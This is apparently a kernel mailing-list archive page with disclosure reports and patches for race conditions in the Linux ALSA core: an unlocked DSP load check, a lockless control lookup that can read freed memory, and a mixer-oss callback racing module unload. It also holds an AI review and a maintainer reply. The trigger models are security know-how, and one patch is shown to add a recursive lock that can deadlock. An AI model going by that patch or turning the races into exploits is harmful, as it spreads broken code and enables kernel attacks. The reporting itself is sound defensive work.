sound/usb/usx2y/usbusx2y.c:267-297 (usx2y_async_seq04_init) and :299-334 (usx2y_in04_init) allocate buffers/URBs and use WARN_ON(usx2y->as04.buffer) / WARN_ON(usx2y->in04_urb) as a check-then-act guard; WARN_ON does not serialize. Two concurrent index-1 loads can both allocate and overwrite these fields, and usx2y_unlinkseq()/cleanup can then double-free or UAF them.

* Trigger model

- A hwdep device whose DSP load is performed by userspace (usx2y is

    the in-tree example);
  - a process opens /dev/snd/hwC*D* and dup()s the fd (or forks);
  - two threads issue SNDRV_HWDEP_IOCTL_DSP_LOAD concurrently with the
    same index;

- both pass the bit check and enter the driver callback.

No hardware is needed to demonstrate the unlocked check; the attached test module does it.

* Reproducer (attached) and results on 7.3

sndcore_hwdep.c creates a card + hwdep device with hw->exclusive = 1 and a dsp_load callback that does:
atomic_inc(&active); update max_active; msleep(300); atomic_dec(). sndcore_test.c opens /dev/snd/hwC0D0 once and lets four pthreads issue SNDRV_HWDEP_IOCTL_DSP_LOAD on that fd.

Observed :

dsp_load enter: index=0 active=1 entered=1 ... dsp_load enter: index=0 active=2 entered=2 ... dsp_load enter: index=0 active=3 entered=3 ... dsp_load enter: index=0 active=4 entered=4 ...
HWDEP: 4 concurrent DSP_LOAD issued KASAN bug count: 0

active=4 proves all four callbacks ran concurrently despite the dsp_loaded check; the absence of KASAN is expected for a synthetic callback and is stated as such.

* Suggested direction

Restore the upstream per-device dsp_mutex:
- add struct mutex dsp_mutex to struct snd_hwdep;
- mutex_init(&hwdep->dsp_mutex) in snd_hwdep_new();
- hold it across the dsp_loaded check, hw->ops.dsp_load() and the bit update in snd_hwdep_dsp_load().

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

author
#108 lore raw

sound: core: get_available_index() calls snd_ctl_find_id() without controls_rwsem (UAF risk)

In reply to Greg KH

get_available_index() in sound/core/ctljack.c walks the control id space by calling snd_ctl_find_id() in a loop, but it does not hold card->controls_rwsem. snd_ctl_find_id()'s fast path is itself lockless:
it does xa_load(&card->ctl_hash, ...) and elem_id_matches() reads the candidate kcontrol's id. A concurrent snd_ctl_remove() holds the write side of controls_rwsem, removes the hash entries, list_del()s the node and kfree()s the kcontrol. get_available_index() can therefore load a kcontrol that is being freed and read its id after the free -- a use-after-free read. Upstream puts guard(rwsem_read)(&card->controls_rwsem) around the loop in snd_kctl_jack_new(); this tree has no lock there.

This is a static report: I have a complete code path and an upstream diff, but I did not build a dynamic reproducer for this particular window. I am reporting it because the missing lock is unambiguous and the required concurrent operations are reachable from userspace.

The detailed description:

* Test environment / affected version

Source analysis against mainline 7.3; no dynamic reproducer was run for this case. The related sound/core report was produced on a 7.3 KASAN kernel, but that run does not cover MR-05.

* Root cause

sound/core/ctljack.c:31-46 (get_available_index):

    static int get_available_index(struct snd_card *card, const char *name)
    {
        struct snd_ctl_elem_id sid;
        memset(&sid, 0, sizeof(sid));
        sid.index = 0;
        sid.iface = SNDRV_CTL_ELEM_IFACE_CARD;
        strscpy(sid.name, name, sizeof(sid.name));

        while (snd_ctl_find_id(card, &sid)) {   /* no controls_rwsem */
            sid.index++;
            sid.numid = 0;
        }
        return sid.index;
    }

sound/core/control.c:843-868 (snd_ctl_find_id) documents that it takes card->controls_rwlock internally, but the CONFIG_SND_CTL_FAST_LOOKUP fast path does xa_load() and elem_id_matches() without taking it; only the fallback list walk takes read_lock_irqsave(). __snd_ctl_remove() (control.c:581-601) runs under controls_rwsem write, calls remove_hash_entries(card, kcontrol), then snd_ctl_free_one(kcontrol) -> kfree(). Thus a lockless xa_load() can observe a kcontrol that is about to be freed, and elem_id_matches() can read it afterwards.

Upstream snd_kctl_jack_new() has:

    guard(rwsem_read)(&card->controls_rwsem);

before calling get_available_index(); the current tree removed it.

* Reachability

- get_available_index() is called from snd_kctl_jack_new()

    (ctljack.c:62-77), which is called by snd_jack_kctl_new()
    (jack.c:426-456) and snd_jack_add_new_kctl() (jack.c:468-478).
  - Runtime caller: sound/soc/ti/ams-delta.c:361 calls
    snd_soc_jack_add_pins() from the tty line discipline receive path;
    snd_soc_jack_add_pins() (sound/soc/soc-jack.c:155) calls
    snd_jack_add_new_kctl() after the card is registered.

- A user with write access to /dev/snd/controlC* can add and remove SNDRV_CTL_ELEM_ACCESS_USER controls with iface SNDRV_CTL_ELEM_IFACE_CARD and an arbitrary name (snd_ctl_elem_add()/snd_ctl_remove_user_ctl(), control.c:662-678). A control with the same name as the jack kcontrol is the concurrent object.

Conditions: CONFIG_SND_CTL_FAST_LOOKUP=y (otherwise the fallback walk holds the read lock and the UAF does not apply); a runtime jack-pin addition path; a concurrent control add/remove with a colliding name. The race window is small, but the missing lock makes it a kernel bug regardless of reproducibility.

* Impact

elem_id_matches() reads kcontrol->id.name/iface/index from freed
memory: KASAN use-after-free read, potential crash or limited information exposure. A second, non-memory-safety symptom is two jack kcontrols choosing the same index; the later snd_ctl_add() returns -EBUSY, so jack creation fails.

* Suggested direction

Hold controls_rwsem for reading across the get_available_index() loop, e.g. restore the upstream guard in snd_kctl_jack_new() (the lock must be released before snd_ctl_add(), which takes the write side).

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

author
#109 lore raw

[PATCH] Re: sound: core: get_available_index() calls snd_ctl_find_id() without controls_rwsem (UAF risk)

get_available_index() walked the control id space via snd_ctl_find_id() without holding card->controls_rwsem; the CONFIG_SND_CTL_FAST_LOOKUP fast path does xa_load() and elem_id_matches() without any lock, so a concurrent snd_ctl_remove() (rwsem write, remove_hash_entries, list_del, kfree) could free the kcontrol between the xa_load() and the id read -- a use-after-free.

Restore the upstream guard: hold controls_rwsem for reading across the index loop in snd_kctl_jack_new(); the read side is released before the caller's snd_ctl_add(), which takes the write side.

---
 sound/core/ctljack.c | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)
sound/core/ctljack.c +9 -1
@@ -73,7 +73,15 @@
 		return NULL;
 
 	jack_kctl_name_gen(kctl->id.name, name, sizeof(kctl->id.name));
-	kctl->id.index = get_available_index(card, kctl->id.name);
+	/* get_available_index() walks the control id space through
+	 * snd_ctl_find_id(), whose CONFIG_SND_CTL_FAST_LOOKUP fast path
+	 * reads the candidate kcontrol's id without any lock of its own.
+	 * Hold controls_rwsem for reading across the loop so a concurrent
+	 * snd_ctl_remove() cannot remove and kfree() the kcontrol between
+	 * the xa_load() and the id read.  The read side is released before
+	 * the caller's snd_ctl_add(), which takes the write side. */
+	scoped_guard(rwsem_read, &card->controls_rwsem)
+		kctl->id.index = get_available_index(card, kctl->id.name);
 	kctl->private_value = 0;
 	return kctl;
 }
Quoted 108 lines

-----原始邮件-----
发件人: 徐晗翔 <[email protected]>
发送时间:2026-11-22 15:55:11 (星期日)
收件人: [email protected], [email protected]
抄送: [email protected], [email protected]
主题: sound: core: get_available_index() calls snd_ctl_find_id() without controls_rwsem (UAF risk)

get_available_index() in sound/core/ctljack.c walks the control id space by calling snd_ctl_find_id() in a loop, but it does not hold card->controls_rwsem. snd_ctl_find_id()'s fast path is itself lockless:
it does xa_load(&card->ctl_hash, ...) and elem_id_matches() reads the candidate kcontrol's id. A concurrent snd_ctl_remove() holds the write side of controls_rwsem, removes the hash entries, list_del()s the node and kfree()s the kcontrol. get_available_index() can therefore load a kcontrol that is being freed and read its id after the free -- a use-after-free read. Upstream puts guard(rwsem_read)(&card->controls_rwsem) around the loop in snd_kctl_jack_new(); this tree has no lock there.

This is a static report: I have a complete code path and an upstream diff, but I did not build a dynamic reproducer for this particular window. I am reporting it because the missing lock is unambiguous and the required concurrent operations are reachable from userspace.

The detailed description:

* Test environment / affected version

Source analysis against mainline 7.3; no dynamic reproducer was run for this case. The related sound/core report was produced on a 7.3 KASAN kernel, but that run does not cover MR-05.

* Root cause

sound/core/ctljack.c:31-46 (get_available_index):

    static int get_available_index(struct snd_card *card, const char *name)
    {
        struct snd_ctl_elem_id sid;
        memset(&sid, 0, sizeof(sid));
        sid.index = 0;
        sid.iface = SNDRV_CTL_ELEM_IFACE_CARD;
        strscpy(sid.name, name, sizeof(sid.name));

        while (snd_ctl_find_id(card, &sid)) {   /* no controls_rwsem */
            sid.index++;
            sid.numid = 0;
        }
        return sid.index;
    }

sound/core/control.c:843-868 (snd_ctl_find_id) documents that it takes card->controls_rwlock internally, but the CONFIG_SND_CTL_FAST_LOOKUP fast path does xa_load() and elem_id_matches() without taking it; only the fallback list walk takes read_lock_irqsave(). __snd_ctl_remove() (control.c:581-601) runs under controls_rwsem write, calls remove_hash_entries(card, kcontrol), then snd_ctl_free_one(kcontrol) -> kfree(). Thus a lockless xa_load() can observe a kcontrol that is about to be freed, and elem_id_matches() can read it afterwards.

Upstream snd_kctl_jack_new() has:

    guard(rwsem_read)(&card->controls_rwsem);

before calling get_available_index(); the current tree removed it.

* Reachability

- get_available_index() is called from snd_kctl_jack_new()

    (ctljack.c:62-77), which is called by snd_jack_kctl_new()
    (jack.c:426-456) and snd_jack_add_new_kctl() (jack.c:468-478).
  - Runtime caller: sound/soc/ti/ams-delta.c:361 calls
    snd_soc_jack_add_pins() from the tty line discipline receive path;
    snd_soc_jack_add_pins() (sound/soc/soc-jack.c:155) calls
    snd_jack_add_new_kctl() after the card is registered.

- A user with write access to /dev/snd/controlC* can add and remove SNDRV_CTL_ELEM_ACCESS_USER controls with iface SNDRV_CTL_ELEM_IFACE_CARD and an arbitrary name (snd_ctl_elem_add()/snd_ctl_remove_user_ctl(), control.c:662-678). A control with the same name as the jack kcontrol is the concurrent object.

Conditions: CONFIG_SND_CTL_FAST_LOOKUP=y (otherwise the fallback walk holds the read lock and the UAF does not apply); a runtime jack-pin addition path; a concurrent control add/remove with a colliding name. The race window is small, but the missing lock makes it a kernel bug regardless of reproducibility.

* Impact

elem_id_matches() reads kcontrol->id.name/iface/index from freed
memory: KASAN use-after-free read, potential crash or limited information exposure. A second, non-memory-safety symptom is two jack kcontrols choosing the same index; the later snd_ctl_add() returns -EBUSY, so jack creation fails.

* Suggested direction

Hold controls_rwsem for reading across the get_available_index() loop, e.g. restore the upstream guard in snd_kctl_jack_new() (the lock must be released before snd_ctl_add(), which takes the write side).

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

#110 lore raw

Re: [PATCH] Re: sound: core: get_available_index() calls snd_ctl_find_id() without controls_rwsem (UAF risk)

Thank you for your contribution! Sashiko AI review found 2 potential issues to consider: - [High] ALSA: jack: recursive controls_rwsem down_read() in snd_kctl_jack_new() - [High] sound: core…

Thank you for your contribution! Sashiko AI review found 2 potential issues to consider:
- [High] ALSA: jack: recursive controls_rwsem down_read() in snd_kctl_jack_new()
- [High] sound: core: missing Signed-off-by trailer in commit message --

commit 59c1eb09f555d07cbd4068c80f23a3bf865c7b34
Author: 徐晗翔 <[email protected]>

Quoted 10 lines

sound: core: get_available_index() calls snd_ctl_find_id() without controls_rwsem (UAF risk)

get_available_index() walked the control id space via snd_ctl_find_id() without holding card->controls_rwsem; the CONFIG_SND_CTL_FAST_LOOKUP fast path does xa_load() and elem_id_matches() without any lock, so a concurrent snd_ctl_remove() (rwsem write, remove_hash_entries, list_del, kfree) could free the kcontrol between the xa_load() and the id read -- a use-after-free.

Quoted 3 lines

Restore the upstream guard: hold controls_rwsem for reading across the index loop in snd_kctl_jack_new(); the read side is released before the caller's snd_ctl_add(), which takes the write side.

[Severity: High]
The commit message is missing a Signed-off-by trailer.

Quoted 11 lines
sound/core/ctljack.c +2 -1
index 36700fda79f3c..f0c7fcd663474 100644
@@ -74,7 +74,15 @@ snd_kctl_jack_new(const char *name, struct snd_card *card)
 		return NULL;
 
 	jack_kctl_name_gen(kctl->id.name, name, sizeof(kctl->id.name));
-	kctl->id.index = get_available_index(card, kctl->id.name);
+	/* get_available_index() walks the control id space through
+	 * snd_ctl_find_id(), whose CONFIG_SND_CTL_FAST_LOOKUP fast path

sound/core/ctljack.c snd_kctl_jack_new(const char *name, struct snd_card *card) · line 88

Quoted 10 lines
sound/core/ctljack.c +7 -0
+	 * reads the candidate kcontrol's id without any lock of its own.
+	 * Hold controls_rwsem for reading across the loop so a concurrent
+	 * snd_ctl_remove() cannot remove and kfree() the kcontrol between
+	 * the xa_load() and the id read.  The read side is released before
+	 * the caller's snd_ctl_add(), which takes the write side. */
+	scoped_guard(rwsem_read, &card->controls_rwsem)
+		kctl->id.index = get_available_index(card, kctl->id.name);
 	kctl->private_value = 0;
 	return kctl;
 }

[Severity: High]
Does this acquire card->controls_rwsem for reading a second time inside get_available_index()?

Commit ba8c3d5fc27a ("ALSA: jack: Protect the index scan against control removal") already added the read guard to get_available_index():

sound/core/ctljack.c:get_available_index() {
	...
	guard(rwsem_read)(&card->controls_rwsem);
	while (snd_ctl_find_id(card, &sid)) {
	...
}

Because down_read() is not recursive, every snd_kctl_jack_new() call triggers a lockdep recursive-locking warning and deadlocks if a writer queues between the two down_read() calls:

CPU0 CPU1
snd_kctl_jack_new()
down_read(&card->controls_rwsem)

                                      snd_ctl_add()
                                        down_write(&card->controls_rwsem)
  get_available_index()
    down_read(&card->controls_rwsem)  <-- deadlocks behind waiting writer
Signature · 1 line
Sashiko AI review · https://sashiko.dev/#/patchset/[email protected]?part=1
#111 lore raw

Re: [PATCH] Re: sound: core: get_available_index() calls snd_ctl_find_id() without controls_rwsem (UAF risk)

In reply to 徐晗翔
Quoted 9 lines · 徐晗翔

get_available_index() walked the control id space via snd_ctl_find_id() without holding card->controls_rwsem; the CONFIG_SND_CTL_FAST_LOOKUP fast path does xa_load() and elem_id_matches() without any lock, so a concurrent snd_ctl_remove() (rwsem write, remove_hash_entries, list_del, kfree) could free the kcontrol between the xa_load() and the id read -- a use-after-free.

Quoted 3 lines

Restore the upstream guard: hold controls_rwsem for reading across the index loop in snd_kctl_jack_new(); the read side is released before the caller's snd_ctl_add(), which takes the write side.

Already fixed by the upstream commit ba8c3d5fc27a.

thanks,

Takashi

Quoted 134 lines
---
 sound/core/ctljack.c | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)
sound/core/ctljack.c +9 -1
@@ -73,7 +73,15 @@
 		return NULL;
 
 	jack_kctl_name_gen(kctl->id.name, name, sizeof(kctl->id.name));
-	kctl->id.index = get_available_index(card, kctl->id.name);
+	/* get_available_index() walks the control id space through
+	 * snd_ctl_find_id(), whose CONFIG_SND_CTL_FAST_LOOKUP fast path
+	 * reads the candidate kcontrol's id without any lock of its own.
+	 * Hold controls_rwsem for reading across the loop so a concurrent
+	 * snd_ctl_remove() cannot remove and kfree() the kcontrol between
+	 * the xa_load() and the id read.  The read side is released before
+	 * the caller's snd_ctl_add(), which takes the write side. */
+	scoped_guard(rwsem_read, &card->controls_rwsem)
+		kctl->id.index = get_available_index(card, kctl->id.name);
 	kctl->private_value = 0;
 	return kctl;
 }
Quoted 110 lines

-----原始邮件-----
发件人: 徐晗翔 <[email protected]>
发送时间:2026-11-22 15:55:11 (星期日)
收件人: [email protected], [email protected]
抄送: [email protected], [email protected]
主题: sound: core: get_available_index() calls snd_ctl_find_id() without controls_rwsem (UAF risk)

get_available_index() in sound/core/ctljack.c walks the control id space by calling snd_ctl_find_id() in a loop, but it does not hold card->controls_rwsem. snd_ctl_find_id()'s fast path is itself lockless:
it does xa_load(&card->ctl_hash, ...) and elem_id_matches() reads the candidate kcontrol's id. A concurrent snd_ctl_remove() holds the write side of controls_rwsem, removes the hash entries, list_del()s the node and kfree()s the kcontrol. get_available_index() can therefore load a kcontrol that is being freed and read its id after the free -- a use-after-free read. Upstream puts guard(rwsem_read)(&card->controls_rwsem) around the loop in snd_kctl_jack_new(); this tree has no lock there.

This is a static report: I have a complete code path and an upstream diff, but I did not build a dynamic reproducer for this particular window. I am reporting it because the missing lock is unambiguous and the required concurrent operations are reachable from userspace.

The detailed description:

* Test environment / affected version

Source analysis against mainline 7.3; no dynamic reproducer was run for this case. The related sound/core report was produced on a 7.3 KASAN kernel, but that run does not cover MR-05.

* Root cause

sound/core/ctljack.c:31-46 (get_available_index):

    static int get_available_index(struct snd_card *card, const char *name)
    {
        struct snd_ctl_elem_id sid;
        memset(&sid, 0, sizeof(sid));
        sid.index = 0;
        sid.iface = SNDRV_CTL_ELEM_IFACE_CARD;
        strscpy(sid.name, name, sizeof(sid.name));

        while (snd_ctl_find_id(card, &sid)) {   /* no controls_rwsem */
            sid.index++;
            sid.numid = 0;
        }
        return sid.index;
    }

sound/core/control.c:843-868 (snd_ctl_find_id) documents that it takes card->controls_rwlock internally, but the CONFIG_SND_CTL_FAST_LOOKUP fast path does xa_load() and elem_id_matches() without taking it; only the fallback list walk takes read_lock_irqsave(). __snd_ctl_remove() (control.c:581-601) runs under controls_rwsem write, calls remove_hash_entries(card, kcontrol), then snd_ctl_free_one(kcontrol) -> kfree(). Thus a lockless xa_load() can observe a kcontrol that is about to be freed, and elem_id_matches() can read it afterwards.

Upstream snd_kctl_jack_new() has:

    guard(rwsem_read)(&card->controls_rwsem);

before calling get_available_index(); the current tree removed it.

* Reachability

- get_available_index() is called from snd_kctl_jack_new()

    (ctljack.c:62-77), which is called by snd_jack_kctl_new()
    (jack.c:426-456) and snd_jack_add_new_kctl() (jack.c:468-478).
  - Runtime caller: sound/soc/ti/ams-delta.c:361 calls
    snd_soc_jack_add_pins() from the tty line discipline receive path;
    snd_soc_jack_add_pins() (sound/soc/soc-jack.c:155) calls
    snd_jack_add_new_kctl() after the card is registered.

- A user with write access to /dev/snd/controlC* can add and remove SNDRV_CTL_ELEM_ACCESS_USER controls with iface SNDRV_CTL_ELEM_IFACE_CARD and an arbitrary name (snd_ctl_elem_add()/snd_ctl_remove_user_ctl(), control.c:662-678). A control with the same name as the jack kcontrol is the concurrent object.

Conditions: CONFIG_SND_CTL_FAST_LOOKUP=y (otherwise the fallback walk holds the read lock and the UAF does not apply); a runtime jack-pin addition path; a concurrent control add/remove with a colliding name. The race window is small, but the missing lock makes it a kernel bug regardless of reproducibility.

* Impact

elem_id_matches() reads kcontrol->id.name/iface/index from freed
memory: KASAN use-after-free read, potential crash or limited information exposure. A second, non-memory-safety symptom is two jack kcontrols choosing the same index; the later snd_ctl_add() returns -EBUSY, so jack creation fails.

* Suggested direction

Hold controls_rwsem for reading across the get_available_index() loop, e.g. restore the upstream guard in snd_kctl_jack_new() (the lock must be released before snd_ctl_add(), which takes the write side).

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

author
#112 lore raw

sound: core: OSS mixer notify callback is invoked without module pin or mutex, racing with rmmod

In reply to Greg KH

snd_mixer_oss_notify_callback is a bare exported function pointer. The card core calls it from snd_card_register(), snd_card_disconnect() and snd_card_do_free() without any mutex and without taking a reference to the snd-mixer-oss module. alsa_mixer_oss_exit() sets the pointer to NULL and then walks all cards calling SND_MIXER_OSS_NOTIFY_FREE, which frees card->mixer_oss. A card thread can read the non-NULL pointer, be preempted, let rmmod finish unloading the module, and then call the old function pointer -- executing code from the unloaded module. The same lack of serialization allows the module's exit FREE walk and the card's do_free FREE callback to race and double-free card->mixer_oss.

Upstream avoids this with a static mixer_oss_notify_mutex plus snd_mixer_oss_notify()/snd_mixer_oss_set_notify() wrappers; the exit path clears the pointer under that mutex, so in-flight callbacks (including their final module_put()) finish before unload. This tree exports the raw pointer and calls it directly in three places.

This is a static report: the race is plain in the source, but I did not build a dynamic reproducer for it. The requirement is CONFIG_SND_MIXER_OSS=m so that an rmmod path exists.

The detailed description:

* Test environment / affected version

Source analysis against mainline 7.3; no dynamic reproducer was run for this case.

* Root cause

sound/core/init.c:85-86:

    int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int free_flag);
    EXPORT_SYMBOL(snd_mixer_oss_notify_callback);

direct calls:

- init.c:533-535 in snd_card_disconnect():

      if (snd_mixer_oss_notify_callback)
          snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_DISCONNECT);
  - init.c:590-591 in snd_card_do_free():
      if (snd_mixer_oss_notify_callback)
          snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_FREE);
  - init.c:935-936 in snd_card_register():
      if (snd_mixer_oss_notify_callback)
          snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_REGISTER);

module side:

  - sound/core/oss/mixer_oss.c:1370:
      snd_mixer_oss_notify_callback = snd_mixer_oss_notify_handler;
  - mixer_oss.c:1386-1394 (alsa_mixer_oss_exit):
      snd_mixer_oss_notify_callback = NULL;
      for each card: snd_mixer_oss_notify_handler(card, SND_MIXER_OSS_NOTIFY_FREE);

The FREE handler (mixer_oss.c:1308-1360) takes card->mixer_oss, frees it and sets card->mixer_oss = NULL. There is no lock around the pointer read/call or around the mixer_oss pointer, and no module reference is taken by the callback path. snd_mixer_oss_open() (mixer_oss.c:57/73) takes try_module_get(card->module), not this module; the OSS mixer file's .owner may pin the module only while such an fd is open, so rmmod is possible with no OSS fd.

* Failure modes

1. Unloaded-code execution: card thread reads a non-NULL callback, preempted; rmmod runs exit, sets NULL, unloads; card thread resumes and calls into unmapped module text.
2. Double FREE: alsa_mixer_oss_exit() and snd_card_do_free() both invoke the FREE callback for the same card. Both can read card->mixer_oss before either sets it NULL and kfree() the same object; or one frees while the other is inside the handler.
3. Card register/disconnect during rmmod can leave the pointer cleared but a concurrent call already in flight with no completion wait.

* Trigger model

- CONFIG_SND_MIXER_OSS=m (built-in has no unload path);
- one thread registers/disconnects/frees a card, another thread runs

    rmmod snd-mixer-oss;

- the card thread must read the callback before the exit store and reach the indirect call after unload, or both threads must reach the FREE path concurrently.

Hotplug/unbind plus module unload is a realistic administration sequence. It is a narrow but real race; the upstream mutex exists for exactly this reason.

* Impact

- call into unloaded module text: UAF execution, kernel crash,

    potential code execution if the address is reused;

- double free of card->mixer_oss: heap corruption;
- at minimum rmmod/hotplug crash.

* Suggested direction

Restore the upstream synchronization: a static mixer_oss_notify_mutex, snd_mixer_oss_notify(card, cmd) that takes the mutex and checks the pointer, and snd_mixer_oss_set_notify() used by the module init/exit to install/clear the pointer under the same mutex. Ensure the exit path waits for in-flight callbacks (including their module_put()) before the module text is freed.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

author
#113 lore raw

[PATCH] Re: sound: core: OSS mixer notify callback is invoked without module pin or mutex, racing with rmmod

snd_mixer_oss_notify_callback is a bare exported function pointer called by the card core without any mutex and without pinning the snd-mixer-oss module: a card thread could read the non-NULL pointer, be preempted, let rmmod clear it and unload, and then call into unloaded module text; and the module exit FREE walk could race snd_card_do_free()'s FREE callback into a double free of card->mixer_oss.

Restore the upstream synchronization: a static mixer_oss_notify_mutex, an internal snd_mixer_oss_notify(card, cmd) that takes the mutex and checks the pointer (used by the register/disconnect/free paths), and an exported snd_mixer_oss_set_notify() that the module uses to install/clear the callback under the same mutex -- so the exit path waits for in-flight callbacks (including their module_put()) before the module text is freed.

---
 sound/core/init.c          | 38 ++++++++++++++++++++++++++++++--------
 include/sound/core.h       |  5 ++++-
 sound/core/oss/mixer_oss.c | 11 +++++++++--
 3 files changed, 43 insertions(+), 11 deletions(-)
sound/core/init.c +30 -8
@@ -82,8 +82,33 @@
 }
 
 #if IS_ENABLED(CONFIG_SND_MIXER_OSS)
-int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int free_flag);
-EXPORT_SYMBOL(snd_mixer_oss_notify_callback);
+/*
+ * The mixer-oss notify callback is invoked from the card core paths
+ * (register, disconnect, free) with no other serialization available.
+ * Call it through snd_mixer_oss_notify(), which takes a static mutex and
+ * checks the pointer under it: this keeps a callback in flight until it
+ * completes, so the snd-mixer-oss module can clear the pointer and wait
+ * for in-flight callbacks in its exit path instead of racing rmmod
+ * (call into unloaded module text) and double FREE walks
+ * (double free of card->mixer_oss).
+ */
+static DEFINE_MUTEX(mixer_oss_notify_mutex);
+static int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int cmd);
+
+static int snd_mixer_oss_notify(struct snd_card *card, int cmd)
+{
+	guard(mutex)(&mixer_oss_notify_mutex);
+	if (snd_mixer_oss_notify_callback)
+		return snd_mixer_oss_notify_callback(card, cmd);
+	return 0;
+}
+
+void snd_mixer_oss_set_notify(int (*callback)(struct snd_card *card, int cmd))
+{
+	guard(mutex)(&mixer_oss_notify_mutex);
+	snd_mixer_oss_notify_callback = callback;
+}
+EXPORT_SYMBOL_GPL(snd_mixer_oss_set_notify);
 #endif
 
 static int check_empty_slot(struct module *module, int slot)
@@ -530,8 +555,7 @@
 	/* at this point, they cannot respond to any calls except release() */
 
 #if IS_ENABLED(CONFIG_SND_MIXER_OSS)
-	if (snd_mixer_oss_notify_callback)
-		snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_DISCONNECT);
+	snd_mixer_oss_notify(card, SND_MIXER_OSS_NOTIFY_DISCONNECT);
 #endif
 
 	/* notify all devices that we are disconnected */
@@ -587,8 +611,7 @@
 
 	card->releasing = true;
 #if IS_ENABLED(CONFIG_SND_MIXER_OSS)
-	if (snd_mixer_oss_notify_callback)
-		snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_FREE);
+	snd_mixer_oss_notify(card, SND_MIXER_OSS_NOTIFY_FREE);
 #endif
 	snd_device_free_all(card);
 	kfree(card->components);
@@ -932,8 +955,7 @@
 		return err;
 
 #if IS_ENABLED(CONFIG_SND_MIXER_OSS)
-	if (snd_mixer_oss_notify_callback)
-		snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_REGISTER);
+	snd_mixer_oss_notify(card, SND_MIXER_OSS_NOTIFY_REGISTER);
 #endif
 	return 0;
 }
include/sound/core.h +4 -1
@@ -300,7 +300,10 @@
 #define SND_MIXER_OSS_NOTIFY_REGISTER	0
 #define SND_MIXER_OSS_NOTIFY_DISCONNECT	1
 #define SND_MIXER_OSS_NOTIFY_FREE	2
-extern int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int cmd);
+/* install/clear the mixer-oss notify callback; the core serializes all
+ * callbacks through a static mutex, so the module's exit path can wait
+ * for in-flight callbacks before its text is unloaded */
+void snd_mixer_oss_set_notify(int (*callback)(struct snd_card *card, int cmd));
 #endif
 
 int snd_card_new(struct device *parent, int idx, const char *xid,
sound/core/oss/mixer_oss.c +9 -2
@@ -1367,7 +1367,7 @@
 	struct snd_card *card;
 	int idx;
 	
-	snd_mixer_oss_notify_callback = snd_mixer_oss_notify_handler;
+	snd_mixer_oss_set_notify(snd_mixer_oss_notify_handler);
 	for (idx = 0; idx < SNDRV_CARDS; idx++) {
 		card = snd_card_ref(idx);
 		if (card) {
@@ -1383,7 +1383,14 @@
 	struct snd_card *card;
 	int idx;
 
-	snd_mixer_oss_notify_callback = NULL;
+	/* clear the callback through the core helper: it stores NULL under
+	 * the notify mutex, so any in-flight callback (which holds the
+	 * same mutex) has completed before we proceed, and the card core
+	 * can no longer call into this module while it is being unloaded.
+	 * This also makes the FREE walk below the only FREE invocation,
+	 * instead of racing the card core's snd_card_do_free() on the same
+	 * card->mixer_oss (double free). */
+	snd_mixer_oss_set_notify(NULL);
 	for (idx = 0; idx < SNDRV_CARDS; idx++) {
 		card = snd_card_ref(idx);
 		if (card) {
Quoted 118 lines

-----原始邮件-----
发件人: 徐晗翔 <[email protected]>
发送时间:2026-11-22 15:56:37 (星期日)
收件人: [email protected], [email protected]
抄送: [email protected], [email protected]
主题: sound: core: OSS mixer notify callback is invoked without module pin or mutex, racing with rmmod

snd_mixer_oss_notify_callback is a bare exported function pointer. The card core calls it from snd_card_register(), snd_card_disconnect() and snd_card_do_free() without any mutex and without taking a reference to the snd-mixer-oss module. alsa_mixer_oss_exit() sets the pointer to NULL and then walks all cards calling SND_MIXER_OSS_NOTIFY_FREE, which frees card->mixer_oss. A card thread can read the non-NULL pointer, be preempted, let rmmod finish unloading the module, and then call the old function pointer -- executing code from the unloaded module. The same lack of serialization allows the module's exit FREE walk and the card's do_free FREE callback to race and double-free card->mixer_oss.

Upstream avoids this with a static mixer_oss_notify_mutex plus snd_mixer_oss_notify()/snd_mixer_oss_set_notify() wrappers; the exit path clears the pointer under that mutex, so in-flight callbacks (including their final module_put()) finish before unload. This tree exports the raw pointer and calls it directly in three places.

This is a static report: the race is plain in the source, but I did not build a dynamic reproducer for it. The requirement is CONFIG_SND_MIXER_OSS=m so that an rmmod path exists.

The detailed description:

* Test environment / affected version

Source analysis against mainline 7.3; no dynamic reproducer was run for this case.

* Root cause

sound/core/init.c:85-86:

    int (*snd_mixer_oss_notify_callback)(struct snd_card *card, int free_flag);
    EXPORT_SYMBOL(snd_mixer_oss_notify_callback);

direct calls:

- init.c:533-535 in snd_card_disconnect():

      if (snd_mixer_oss_notify_callback)
          snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_DISCONNECT);
  - init.c:590-591 in snd_card_do_free():
      if (snd_mixer_oss_notify_callback)
          snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_FREE);
  - init.c:935-936 in snd_card_register():
      if (snd_mixer_oss_notify_callback)
          snd_mixer_oss_notify_callback(card, SND_MIXER_OSS_NOTIFY_REGISTER);

module side:

  - sound/core/oss/mixer_oss.c:1370:
      snd_mixer_oss_notify_callback = snd_mixer_oss_notify_handler;
  - mixer_oss.c:1386-1394 (alsa_mixer_oss_exit):
      snd_mixer_oss_notify_callback = NULL;
      for each card: snd_mixer_oss_notify_handler(card, SND_MIXER_OSS_NOTIFY_FREE);

